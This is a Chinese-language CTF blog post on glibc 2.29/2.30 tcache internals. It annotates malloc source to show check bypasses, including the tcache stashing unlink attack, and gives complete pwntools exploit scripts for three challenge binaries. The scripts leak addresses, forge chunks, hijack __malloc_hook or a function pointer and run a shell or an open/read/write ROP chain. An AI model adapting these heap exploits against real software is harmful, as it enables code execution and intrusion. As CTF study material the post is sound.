Glibc2.29笔记

本来不想再弄glibc的东西了,但是最近的2.29的题越来越多。。。考虑到以后去给人培训的话,会有知识盲区,不太好,别人来问题的话,不会这方面也很没面子,还是决定花几天时间调一下。也算复习一下tcache相关的东西了。

2.26~2.28都没有double freetcache->counts[tc_idx]的检测,从2.29起加了double free 和 调用tcache_get()之前检测tcache->counts[tc_idx]是否大于0这两个检测。

2.28起对unsortedbin解链进行了检查,2.23~2.27unsortedbin_attack都适用。

2.30tcache_perthread_struct结构体中的counts数组的成员类型由字符转变为uint16_t(两个字符)。所以2.30之前的tcache_perthread_struct结构体大小为0x240(0x40+0x200)2.30之后变为0x290(0x40*2+0x200)

以下内容都基于GLIBC_2.30

一些结构体:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
# define TCACHE_MAX_BINS		64
# define TCACHE_FILL_COUNT 7

static struct malloc_par mp_ =
{
.top_pad = DEFAULT_TOP_PAD,
.n_mmaps_max = DEFAULT_MMAP_MAX,
.mmap_threshold = DEFAULT_MMAP_THRESHOLD,
.trim_threshold = DEFAULT_TRIM_THRESHOLD,
#define NARENAS_FROM_NCORES(n) ((n) * (sizeof (long) == 4 ? 2 : 8))
.arena_test = NARENAS_FROM_NCORES (1)
#if USE_TCACHE
,
.tcache_count = TCACHE_FILL_COUNT,
.tcache_bins = TCACHE_MAX_BINS,
.tcache_max_bytes = tidx2usize (TCACHE_MAX_BINS-1),
.tcache_unsorted_limit = 0 /* No limit. */
#endif
};

typedef struct tcache_perthread_struct
{
uint16_t counts[TCACHE_MAX_BINS];
tcache_entry *entries[TCACHE_MAX_BINS];
} tcache_perthread_struct;

typedef struct tcache_entry
{
struct tcache_entry *next;
/* This field exists to detect double frees. */
struct tcache_perthread_struct *key;
} tcache_entry;

一些相关函数:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
/* Caller must ensure that we know tc_idx is valid and there's room
for more chunks. */
static __always_inline void
tcache_put (mchunkptr chunk, size_t tc_idx)
{
tcache_entry *e = (tcache_entry *) chunk2mem (chunk);

/* Mark this chunk as "in the tcache" so the test in _int_free will
detect a double free. */
e->key = tcache;

e->next = tcache->entries[tc_idx];
tcache->entries[tc_idx] = e;
++(tcache->counts[tc_idx]);
}

/* Caller must ensure that we know tc_idx is valid and there's
available chunks to remove. */
static __always_inline void *
tcache_get (size_t tc_idx)
{
tcache_entry *e = tcache->entries[tc_idx];
tcache->entries[tc_idx] = e->next;
--(tcache->counts[tc_idx]);
e->key = NULL;
return (void *) e;
}

_int_free()中:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
static void
_int_free (mstate av, mchunkptr p, int have_lock)
{
INTERNAL_SIZE_T size; /* its size */
mfastbinptr *fb; /* associated fastbin */
mchunkptr nextchunk; /* next contiguous chunk */
INTERNAL_SIZE_T nextsize; /* its size */
int nextinuse; /* true if nextchunk is used */
INTERNAL_SIZE_T prevsize; /* size of previous contiguous chunk */
mchunkptr bck; /* misc temp for linking */
mchunkptr fwd; /* misc temp for linking */

size = chunksize (p);

/* Little security check which won't hurt performance: the
allocator never wrapps around at the end of the address space.
Therefore we can exclude some size values which might appear
here by accident or by "design" from some intruder. */
if (__builtin_expect ((uintptr_t) p > (uintptr_t) -size, 0)
|| __builtin_expect (misaligned_chunk (p), 0))
malloc_printerr ("free(): invalid pointer");
/* We know that each chunk is at least MINSIZE bytes in size or a
multiple of MALLOC_ALIGNMENT. */
if (__glibc_unlikely (size < MINSIZE || !aligned_OK (size)))
malloc_printerr ("free(): invalid size");

check_inuse_chunk(av, p);

#if USE_TCACHE
{
size_t tc_idx = csize2tidx (size);
if (tcache != NULL && tc_idx < mp_.tcache_bins)
{
/* Check to see if it's already in the tcache. */
tcache_entry *e = (tcache_entry *) chunk2mem (p);

/* This test succeeds on double free. However, we don't 100%
trust it (it also matches random payload data at a 1 in
2^<size_t> chance), so verify it's not an unlikely
coincidence before aborting. */
if (__glibc_unlikely (e->key == tcache)) //先检测double free
{
tcache_entry *tmp;
LIBC_PROBE (memory_tcache_double_free, 2, e, tc_idx);
for (tmp = tcache->entries[tc_idx];
tmp;
tmp = tmp->next)
if (tmp == e)
malloc_printerr ("free(): double free detected in tcache 2");
/* If we get here, it was a coincidence. We've wasted a
few cycles, but don't abort. */
}

if (tcache->counts[tc_idx] < mp_.tcache_count) //再检测tcache是否满了
{
tcache_put (p, tc_idx);
return;
}
}
}
#endif

.......
常规free操作

__libc_malloc中:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
void *
__libc_malloc (size_t bytes)
{
mstate ar_ptr;
void *victim;

_Static_assert (PTRDIFF_MAX <= SIZE_MAX / 2,
"PTRDIFF_MAX is not more than half of SIZE_MAX");

void *(*hook) (size_t, const void *)
= atomic_forced_read (__malloc_hook);
if (__builtin_expect (hook != NULL, 0))
return (*hook)(bytes, RETURN_ADDRESS (0));
#if USE_TCACHE //进入_int_malloc之前先看tcache
/* int_free also calls request2size, be careful to not pad twice. */
size_t tbytes;
if (!checked_request2size (bytes, &tbytes))
{
__set_errno (ENOMEM);
return NULL;
}
size_t tc_idx = csize2tidx (tbytes);

MAYBE_INIT_TCACHE ();

DIAG_PUSH_NEEDS_COMMENT;
if (tc_idx < mp_.tcache_bins
&& tcache
&& tcache->counts[tc_idx] > 0) //2.29对count新加了检测,doublefree这个利用应该是彻底gg了
{
return tcache_get (tc_idx);
}
DIAG_POP_NEEDS_COMMENT;
#endif

if (SINGLE_THREAD_P)
{
victim = _int_malloc (&main_arena, bytes);
assert (!victim || chunk_is_mmapped (mem2chunk (victim)) ||
&main_arena == arena_for_chunk (mem2chunk (victim)));
return victim;
}

arena_get (ar_ptr, bytes);

victim = _int_malloc (ar_ptr, bytes);
/* Retry with another arena only if we were able to find a usable arena
before. */
if (!victim && ar_ptr != NULL)
{
LIBC_PROBE (memory_malloc_retry, 1, bytes);
ar_ptr = arena_get_retry (ar_ptr, bytes);
victim = _int_malloc (ar_ptr, bytes);
}

if (ar_ptr != NULL)
__libc_lock_unlock (ar_ptr->mutex);

assert (!victim || chunk_is_mmapped (mem2chunk (victim)) ||
ar_ptr == arena_for_chunk (mem2chunk (victim)));
return victim;
}
libc_hidden_def (__libc_malloc)

进入到_int_malloc之后,有多处用到了tcache

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
#define first(b)     ((b)->fd)
#define last(b) ((b)->bk)

//从fastbin中取出后,若还有剩余,取出放入tcache中,直到放完或者tcache满停止
if ((unsigned long) (nb) <= (unsigned long) (get_max_fast ()))
{
idx = fastbin_index (nb);
mfastbinptr *fb = &fastbin (av, idx);
mchunkptr pp;
victim = *fb;

if (victim != NULL)
{
if (SINGLE_THREAD_P)
*fb = victim->fd;
else
REMOVE_FB (fb, pp, victim);
if (__glibc_likely (victim != NULL))
{
size_t victim_idx = fastbin_index (chunksize (victim));
if (__builtin_expect (victim_idx != idx, 0))
malloc_printerr ("malloc(): memory corruption (fast)");
check_remalloced_chunk (av, victim, nb);
#if USE_TCACHE
/* While we're here, if we see other chunks of the same size,
stash them in the tcache. */
size_t tc_idx = csize2tidx (nb);
if (tcache && tc_idx < mp_.tcache_bins)
{
mchunkptr tc_victim;

/* While bin not empty and tcache not full, copy chunks. */
while (tcache->counts[tc_idx] < mp_.tcache_count
&& (tc_victim = *fb) != NULL)
{
if (SINGLE_THREAD_P)
*fb = tc_victim->fd;
else
{
REMOVE_FB (fb, pp, tc_victim);
if (__glibc_unlikely (tc_victim == NULL))
break;
}
tcache_put (tc_victim, tc_idx);
}
}
#endif
void *p = chunk2mem (victim);
alloc_perturb (p, bytes);
return p;
}
}
}


//从smallbin中取出后,若有剩余chunk,则取出放入tcache,取完或者tcache放满为止,这里有unlink漏洞
if (in_smallbin_range (nb))
{
idx = smallbin_index (nb);
bin = bin_at (av, idx);

if ((victim = last (bin)) != bin) //victim为最早放入smallbin的chunk
{
bck = victim->bk; //bck为倒数第二个放进smallbin的chunk
if (__glibc_unlikely (bck->fd != victim)) //构造(bck->fd == victim)绕过检测
malloc_printerr ("malloc(): smallbin double linked list corrupted");
set_inuse_bit_at_offset (victim, nb);
bin->bk = bck; //bin->bk = bck,伪造bck->bk = fake_chunk
bck->fd = bin;

if (av != &main_arena)
set_non_main_arena (victim);
check_malloced_chunk (av, victim, nb);
#if USE_TCACHE
/* While we're here, if we see other chunks of the same size,
stash them in the tcache. */
size_t tc_idx = csize2tidx (nb);
if (tcache && tc_idx < mp_.tcache_bins)
{
mchunkptr tc_victim;

/* While bin not empty and tcache not full, copy chunks over. */
while (tcache->counts[tc_idx] < mp_.tcache_count //第一次:tc_victim = 倒数第二个放进smallbin的chunk
&& (tc_victim = last (bin)) != bin) //第二次:tc_victim = fake_chunk
{
if (tc_victim != 0)
{
bck = tc_victim->bk; //第一次:bck = fake_chunk
set_inuse_bit_at_offset (tc_victim, nb);
if (av != &main_arena)
set_non_main_arena (tc_victim);
bin->bk = bck; //第一次:bin->bk = fake_chunk
bck->fd = bin; //第一次:fake_chunk->fd被写入libc地址/第二次:fake_chunk->bk->fd被写入libc地址

tcache_put (tc_victim, tc_idx); //第一次:将倒数第二个放进smallbin的chunk放入tcache/第二次:将fake_chunk放入tcache中,再次申请出来即可,fd处的libc地址会被覆盖掉(fake_chunk->bk->fd处的libc仍然残留)
}
}
}
#endif
void *p = chunk2mem (victim);
alloc_perturb (p, bytes);
return p;
}
}

//在遍历unsortedbin时,找到size正好符合的chunk后,先放入tcache中,继续遍历完毕,遍历完毕后从tcache中取出返回给用户。

heap的最开始处,会申请一个0x290的chunk来管理所有tcache,也就是tcache_perthread_struct:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
typedef struct tcache_perthread_struct
{
uint16_t counts[64];
tcache_entry *entries[64];
} tcache_perthread_struct;

/*
0000000000000000 0000000000000291
xxxxxxxxxxxxxxxx xxxxxxxxxxxxxxxx ========
xxxxxxxxxxxxxxxx xxxxxxxxxxxxxxxx
xxxxxxxxxxxxxxxx xxxxxxxxxxxxxxxx
xxxxxxxxxxxxxxxx xxxxxxxxxxxxxxxx counts,共64个 * 2Bytes = 128/0x80Bytes
xxxxxxxxxxxxxxxx xxxxxxxxxxxxxxxx
xxxxxxxxxxxxxxxx xxxxxxxxxxxxxxxx
xxxxxxxxxxxxxxxx xxxxxxxxxxxxxxxx
xxxxxxxxxxxxxxxx xxxxxxxxxxxxxxxx ========
################ ################ ========
........ entries,共64个 * 8Bytes = 521/0x200Bytes
################ ################ ========
*/

可以放入tcache中的size(包含chunk_header)范围:0x20(tcache_entry[0])~0x410(tcache_entry[63])的闭区间。

twochunk

思路

calloc有两个地方需要注意:

  1. 不从tcache中取。
  2. 取出后内容会清0,不会留下脏数据。

题目限制:

  1. 一次malloc(0xE9)的机会
  2. 一次malloc(0x88)且可以向其中输入东西的机会
  3. 两个放chunk的位置
  4. 不限制次数,size限制在0x80~0x3FF之间的calloc的机会
  5. 一次打印申请出来chunk前8字节的机会
  6. 一次溢出的机会
  7. 一次打印namemessage的机会
  8. 一个函数指针后门

漏洞就是为堆溢出,所以猜测思路应该是篡改next_chunkfd && bk,然后在解链时进行攻击。

利用点为:从smallbin中取出一个chunk后,会将剩余chunk解链进入tcache,这个过程的解链是没有自闭检测的,且不用担心因为smallbin被破坏而程序崩掉,因为当tcache满了会自动退出循环。

构造出0x90tcache中有5个chunk,smallbin中有两个chunk的情形,之后通过溢出改后放入smallbin的chunk的fd && bkfd不能动,bk改为指向fake_chunkfake_chunkbk需要指向可写的地址,循环结束后的情形为:

  • 0x90tcache已满,且头部的chunk为fake_chunk
  • fake_chunk->bk处留下了libc的脏数据

泄露+任意地址写即可。

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
#coding:utf-8

from pwn import *

path = './twochunk'
local = 1
attach = 1
#P = ELF(path)
context(os='linux',arch='amd64',terminal=['tmux','split','-h'])
#context.log_level = 'debug'

if local == 1:
p = process(path)
if context.arch == 'amd64':
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
else:
libc = ELF('/lib/i386-linux-gnu/libc.so.6')
else:
p = remote()


def new(idx,size):
p.recvuntil('choice: ')
p.sendline('1')
p.recvuntil('idx: ')
p.sendline(str(idx))
p.recvuntil('size: ')
p.sendline(str(size))

def delete(idx):
p.recvuntil('choice: ')
p.sendline('2')
p.recvuntil('idx: ')
p.sendline(str(idx))

def edit(idx,data): #read(0,ptrlist[idx],size+0x20)
p.recvuntil('choice: ')
p.sendline('4')
p.recvuntil('idx: ')
p.sendline(str(idx))
p.recvuntil('content: ')
p.send(data)

def show(idx): #write(1,ptrlist[idx],8)
p.recvuntil('choice: ')
p.sendline('3')
p.recvuntil('idx: ')
p.sendline(str(idx))

def backdoor1():
p.recvuntil('choice: ')
p.sendline('5') #puts(name) puts(message)

def backdoor2(data):
p.recvuntil('choice: ')
p.sendline('6')
p.recvuntil('leave your end message: ') #read(0,malloc(0x88),0x80)
p.send(data)

def backdoor3():
p.recvuntil('choice: ')
p.sendline('7')

p.recvuntil('leave your name: ')
name = p64(0x23333000+0x20)*6
p.send(name)
p.recvuntil(': ')
message = p64(0x23333000+0x20)*8
p.send(message)

for i in range(7): #0x190 7
new(0,0x180)
delete(0)

for i in range(5): #0x90 5
new(0,0x88)
delete(0)

for i in range(5): #0x100 5
new(1,0xf0)
delete(1)

new(0,0x180)
new(1,0x90) #0xA0
delete(1)
new(1,0x180)

delete(0) #put in unsortedbin size = 0x190
new(0,0xf0) #unsortedbin size = 0x90
delete(0) #put in tcache size = 0x100(now count = 6)
new(0,0x100) #put 0x90 unsortedbin in smallbin

delete(1)
new(1,0xf0)
delete(1)
new(1,0x100) #put 0x90 unsortedbin in smallbin

delete(0)
delete(1)
new(0,23333)
show(0)

heapbase = u64(p.recv(8))-(0x5646cee63560-0x5646cee62000)
log.success('heapbase = '+hex(heapbase))
#-------------------------------------------------------------
target = heapbase + (0x000055555555a650-0x555555559000)

payload = '\x00'*0xf0
payload+= p64(0)+p64(0x91)
payload+= p64(target)+p64(0x23333000-0x10)
edit(0,payload)

new(1,0x88)

backdoor1()
p.recvuntil('message: ')
libcbase = u64(p.recv(6).ljust(8,'\x00'))-(0x7ffff7fbec60-0x7ffff7dd4000)
log.success('libcbase = '+hex(libcbase))

payload = p64(libcbase+libc.sym['system'])+'/bin/sh\x00'
payload = payload.ljust(0x30,'\x00')
payload+= p64(0x23333008)
backdoor2(payload)

backdoor3()

p.interactive()

one_punch_man

思路

UAF的话可以直接伪造next_chunkfake_chunk,需要注意的是fake_chunk->bk必须是个可写的地址,所以我这里找的是__malloc_hook附近的一个地址。最后改__malloc_hookgadget,抬栈进行rop

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
#coding:utf-8

from pwn import *

path = './one_punch_man'
local = 1
attach = 1
#P = ELF(path)
context(os='linux',arch='amd64',terminal=['tmux','split','-h'])
context.log_level = 'debug'

if local == 1:
p = process(path)
if context.arch == 'amd64':
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
else:
libc = ELF('/lib/i386-linux-gnu/libc.so.6')
else:
p = remote()

def new(idx,name):
p.recvuntil('> ')
p.sendline('1')
p.recvuntil('idx: ')
p.sendline(str(idx))
p.recvuntil('name: ')
p.send(name)

def edit(idx,name):
p.recvuntil('> ')
p.sendline('2')
p.recvuntil('idx: ')
p.sendline(str(idx))
p.recvuntil('name: ')
p.send(name)

def show(idx):
p.recvuntil('> ')
p.sendline('3')
p.recvuntil('idx: ')
p.sendline(str(idx))

def delete(idx):
p.recvuntil('> ')
p.sendline('4')
p.recvuntil('idx: ')
p.sendline(str(idx))

for i in range(5):
new(0,'\x00'*0x218)
delete(0)

show(0)
p.recvuntil('hero name: ')
heapbase = u64(p.recv(6).ljust(8,'\x00'))-(0x5555555598c0-0x555555559000)
log.success('heapbase = '+hex(heapbase))

for i in range(7):
new(0,'\x00'*0x2a0)
delete(0)

new(0,'\x00'*0x2a0)
new(1,'\x00'*0x80)

delete(0)
show(0)
p.recvuntil('hero name: ')
libcbase = u64(p.recv(6).ljust(8,'\x00'))-(0x7ffff7fb4ca0-0x7ffff7dd0000)
log.success('libcbase = '+hex(libcbase))

new(1,'\x00'*0x2a0)
delete(0)

new(0,'\x00'*0x80)
new(0,'\x00'*0x230)

payload = '\x00'*0x88+p64(0x221)
payload+= p64(0)+p64(heapbase+(0x55555555b070-0x555555559000))
payload+= p64(0)+p64(0)
payload+= p64(heapbase+(0x55555555b050-0x555555559000))+p64(libcbase+(0x7ffff7fb4bf8-0x7ffff7dd0000))

edit(1,payload)

new(2,'\x00'*0x210)

p.recvuntil('> ')
p.sendline(str(0xC388))
sleep(0.1)
p.send('\x00'*0x28+p64(libcbase+0x8cfd6)+'./flag')
#0x000000000008cfd6: add rsp, 0x48; ret;
#0x0000000000026542: pop rdi; ret;
#0x0000000000026f9e: pop rsi; ret;
#0x000000000012bda6: pop rdx; ret;
#0x0000000000047cf8: pop rax; ret;
#0x00000000000cf6c5: syscall; ret;
rax = libcbase + 0x0000000000047cf8
rdi = libcbase + 0x0000000000026542
rsi = libcbase + 0x0000000000026f9e
rdx = libcbase + 0x000000000012bda6
syscall = libcbase + 0x00000000000cf6c5

#gdb.attach(p,'b *(0x555555554000+0x139C)')
rop = p64(rdi)+p64(libcbase+libc.sym['__malloc_hook']+8)+p64(rsi)+p64(0)+p64(rdx)+p64(0)+p64(rax)+p64(2)+p64(syscall)
rop+= p64(rdi)+p64(3)+p64(rsi)+p64(libcbase+libc.sym['__malloc_hook']-0x80)+p64(rdx)+p64(0x80)+p64(rax)+p64(0)+p64(syscall)
rop+= p64(rdi)+p64(1)+p64(rsi)+p64(libcbase+libc.sym['__malloc_hook']-0x80)+p64(rdx)+p64(0x80)+p64(rax)+p64(1)+p64(syscall)
new(0,rop)

p.interactive()

Buu_RedPacket

思路

当时amain9大佬发给我的时候对2.29不是很感兴趣就没有去花时间研究,现在重新做了一下。。。看了一下之后发现不就是抄的one_punch_man么。。稍微改了改,加了几个吓唬人的检测和限制罢了。

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
#coding:utf-8

from pwn import *

path = './RedPacket_SoEasyPwn1'
local = 1
attach = 1
#P = ELF(path)
context(os='linux',arch='amd64',terminal=['tmux','split','-h'])
#context.log_level = 'debug'

if local == 1:
p = process(path)
if context.arch == 'amd64':
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
else:
libc = ELF('/lib/i386-linux-gnu/libc.so.6')
else:
p = remote()

def new(idx,size_choice,content):
p.recvuntil(': ')
p.sendline('1')
p.recvuntil('packet idx: ')
p.sendline(str(idx))
p.recvuntil('(1.0x10 2.0xf0 3.0x300 4.0x400): ')
p.sendline(str(size_choice))
p.recvuntil('put content: ')
p.send(content)

def delete(idx):
p.recvuntil(': ')
p.sendline('2')
p.recvuntil('packet idx: ')
p.sendline(str(idx))

def show(idx):
p.recvuntil(': ')
p.sendline('4')
p.recvuntil('packet idx: ')
p.sendline(str(idx))

def edit(idx,content):
p.recvuntil(': ')
p.sendline('3')
p.recvuntil('packet idx: ')
p.sendline(str(idx))
p.recvuntil('put content: ')
p.send(content)

for i in range(5):
new(0,2,'\x00'*0xf0)
delete(0)

for i in range(7):
new(0,4,'\x00'*0x400)
delete(0)

show(0)
heapbase = u64(p.recv(6).ljust(8,'\x00'))-(0x55555555bbc0-0x555555559000)
log.success('heapbase = '+hex(heapbase))

new(0,4,'\x00'*0x400)
new(1,1,'\x00'*0x10)

delete(0)
show(0)
libcbase = u64(p.recv(6).ljust(8,'\x00'))-(0x7ffff7fb4ca0-0x7ffff7dd0000)
log.success('libcbase = '+hex(libcbase))

new(2,4,'\x00'*0x400)
delete(0)

new(0,3,'\x00'*0x300) #16

rax = libcbase + 0x0000000000047cf8
rdi = libcbase + 0x0000000000026542
rsi = libcbase + 0x0000000000026f9e
rdx = libcbase + 0x000000000012bda6
syscall = libcbase + 0x00000000000cf6c5
flag_addr = heapbase+(0x55555555c8e8-0x555555559000)
rop = p64(rdi)+p64(flag_addr)+p64(rdx)+p64(0)+p64(rsi)+p64(0)+p64(rax)+p64(2)+p64(syscall)
rop+= p64(rdi)+p64(3)+p64(rsi)+p64(flag_addr+8)+p64(rdx)+p64(0x30)+p64(rax)+p64(0)+p64(syscall)
rop+= p64(rdi)+p64(1)+p64(rsi)+p64(flag_addr+8)+p64(rdx)+p64(0x30)+p64(rax)+p64(1)+p64(syscall)
rop+= './flag'+'\x00'
new(0,3,rop) #17

payload = '\x00'*0x300
payload+= p64(0)+p64(0x101)
payload+= p64(0)+p64(heapbase+(0x55555555c700-0x555555559000))
payload+= p64(0)+p64(0)
payload+= p64(heapbase+(0x55555555c6e0-0x555555559000))+p64(heapbase+(0x55555555c720-0x555555559000))
payload+= p64(0)+p64(0)
payload+= p64(0)+p64(heapbase+(0x555555559a50-0x555555559000))
edit(2,payload)

new(1,2,'\x00')

p.recvuntil(': ')
p.sendline('666')
p.recvuntil('What do you want to say?')

#0x0000000000058373: leave; ret;
leave = libcbase + 0x58373
payload = '\x11'*0x80+p64(heapbase+(0x55555555c810-0x555555559000)-8)+p64(leave)
p.send(payload)

p.interactive()

PlainNote

其他

fastbin && unsortedbin && topchunkmain_arena中的位置。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
gdb-peda$ heapinfo
(0x20) fastbin[0]: 0x602110 --> 0x0
(0x30) fastbin[1]: 0x0
(0x40) fastbin[2]: 0x0
(0x50) fastbin[3]: 0x0
(0x60) fastbin[4]: 0x0
(0x70) fastbin[5]: 0x0
(0x80) fastbin[6]: 0x602090 --> 0x0
(0x90) fastbin[7]: 0x0
(0xa0) fastbin[8]: 0x0
(0xb0) fastbin[9]: 0x0
top: 0x602130 (size : 0x20ed0)
last_remainder: 0x0 (size : 0x0)
unsortbin: 0x602000 (size : 0x90)
gdb-peda$ p &main_arena
$1 = (struct malloc_state *) 0x7ffff7dd1b20 <main_arena>
gdb-peda$ x/80xg 0x7ffff7dd1b20
0x7ffff7dd1b20 <main_arena>: 0x0000000000000000 0x0000000000602110
0x7ffff7dd1b30 <main_arena+16>: 0x0000000000000000 0x0000000000000000
0x7ffff7dd1b40 <main_arena+32>: 0x0000000000000000 0x0000000000000000
0x7ffff7dd1b50 <main_arena+48>: 0x0000000000000000 0x0000000000602090
0x7ffff7dd1b60 <main_arena+64>: 0x0000000000000000 0x0000000000000000
0x7ffff7dd1b70 <main_arena+80>: 0x0000000000000000 0x0000000000602130
0x7ffff7dd1b80 <main_arena+96>: 0x0000000000000000 0x0000000000602000
0x7ffff7dd1b90 <main_arena+112>: 0x0000000000602000

unsortedbin && smallbin的连接和进出方式:

IMG_0078.PNG

打赏还是打残,这是个问题